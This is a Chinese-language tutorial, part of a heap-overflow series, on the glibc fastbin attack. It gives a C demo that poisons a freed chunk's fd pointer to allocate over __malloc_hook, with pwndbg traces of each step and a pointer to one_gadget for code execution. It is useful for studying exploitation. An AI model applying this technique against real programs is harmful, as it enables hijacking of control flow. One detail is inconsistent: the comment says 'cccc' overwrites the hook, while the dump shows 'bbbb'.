二进制安全之堆溢出(系列)—— fast bin attack
本文是二进制安全之堆溢出系列的第八章节,主要介绍fast bin attack。
原理

从fastbin中分配堆块的检测机制
if (__builtin_expect (victim_idx != idx, 0)) //检查当前所属idx的size和target的size是否匹配 malloc_printerr ("malloc(): memory corruption (fast)"); do_check_remalloced_chunk (mstate av, mchunkptr p, INTERNAL_SIZE_T s) { INTERNAL_SIZE_T sz = chunksize_nomask (p) & ~(PREV_INUSE | NON_MAIN_ARENA); if (!chunk_is_mmapped (p)) { assert (av == arena_for_chunk (p)); if (chunk_main_arena (p)) assert (av == &main_arena); else assert (av != &main_arena); } do_check_inuse_chunk (av, p); do_check_inuse_chunk检查previnuse是否为1 chunk_is_mmapped检查是否是mmap位是否为1,当mmap为1的时候可以跳过此检查
Demo
#include <stdio.h> #include <malloc.h> #include <unistd.h> #include <string.h> int main(){ int size = 0x60; char *p = malloc(size); long __malloc_hook_addr = 0x7ffff7dd1b10; printf("%p\n",p); sleep(0); free(p); sleep(0); printf("%p\n",p); *(long*)p = __malloc_hook_addr - 0x23; sleep(0); char *q = malloc(size); printf("%p\n",q); sleep(0); char* r = malloc(size); printf("%p\n",r); sleep(0); strcpy(r,"aaajunkjunkjunkbbbbcccc"); ///cccc会替换__malloc_hook的内容 malloc(0); sleep(0); return 0; }
__malloc_hook_addr – 0×23的原因
pwndbg> x/20gz 0x7ffff7dd1b10-0x30 0x7ffff7dd1ae0 <_IO_wide_data_0+288>: 0x0000000000000000 0x0000000000000000 0x7ffff7dd1af0 <_IO_wide_data_0+304>: 0x00007ffff7dd0260 0x0000000000000000 0x7ffff7dd1b00 <__memalign_hook>: 0x00007ffff7a92e20 0x00007ffff7a92a00 0x7ffff7dd1b10 <__malloc_hook>: 0x0000000000000000 0x0000000000000000 ----- __malloc_hook_addr - 0x23刚好到0x0000**7f**fff7dd0260 ----- pwndbg> x/20gz 0x7ffff7dd1b10-0x23 0x7ffff7dd1aed <_IO_wide_data_0+301>: 0xfff7dd0260000000 0x000000000000007f 得到一个可以伪造size为0x7f的地址 这时把`0x7ffff7dd1aed作为target_addr,可以绕过之前fastbin的第一项检测 然后将这块地址分配出来,然后构造padding,覆盖__malloc_hook的内容
0x7f
的原因
为了满足fastbin分配的第一项size的检查,一般选择的是6号索引,即malloc(0×60) 由于chunk_is_mmapped检测的原因,不能用0×71。 0x7f作为内存中地址的高位,而libc的地址就是0x7f开始的,这为fastbin attack提供了便利。 unsorted bin attack可以在unlink的时候将main_arena的地址赋给bk,也可以方便的得到0x7f
调试
free p 之后的bins链和size位
0x70: 0x602000 ?— 0x0 0x602000:0x00000000000000000x0000000000000071
写入target - 0x23
的地址
0x602000: 0x0000000000000000 0x0000000000000071 0x602010: 0x00007ffff7dd1aed 0x0000000000000000 0x7ffff7dd1aed <_IO_wide_data_0+301>: 0xfff7dd0260000000 0x000000000000007f 此时的bins链 0x70: 0x602000 —? 0x7ffff7dd1aed (_IO_wide_data_0+301) ?— 0xfff7a92e20000000 因为p已经被free,我们再修改它的fd,就会自动链接上target
malloc q 之后的bins链和heap
0x602000 FASTBIN { prev_size = 0, size = 113, fd = 0x7ffff7dd1aed <_IO_wide_data_0+301>, bk = 0x0, fd_nextsize = 0x0, bk_nextsize = 0x0 } 0x70: 0x7ffff7dd1aed (_IO_wide_data_0+301) ?— 0xfff7a92e20000000 此时我们的目标chunk还在bins链中,需要再一次malloc出去。
malloc r之后的bins链和heap
0x602000 FASTBIN { prev_size = 0, size = 113, fd = 0x7ffff7dd1aed <_IO_wide_data_0+301>, bk = 0x0, fd_nextsize = 0x0, bk_nextsize = 0x0 } 0x70: 0xfff7a92e20000000 此时,0x7ffff7dd1aed这个堆块已经被malloc出去了,即作为r的堆块 此时,__malloc_hook的内容 pwndbg> x/20gz 0x00007ffff7dd1aed+0x23 0x7ffff7dd1b10 <__malloc_hook>: 0x0000000000000000 0x0000000000000000
strcpy r之后__malloc_hook被覆盖为”cccc”
pwndbg> x/20gz 0x00007ffff7dd1aed+0x23 //精准填充 0x7ffff7dd1b10 <__malloc_hook>:0x00000000626262620x0000000000000000 利用的时候将cccc,替换为onegadget的地址 one_gadget /lib/x86_64-linux-gnu/libc-2.23.so
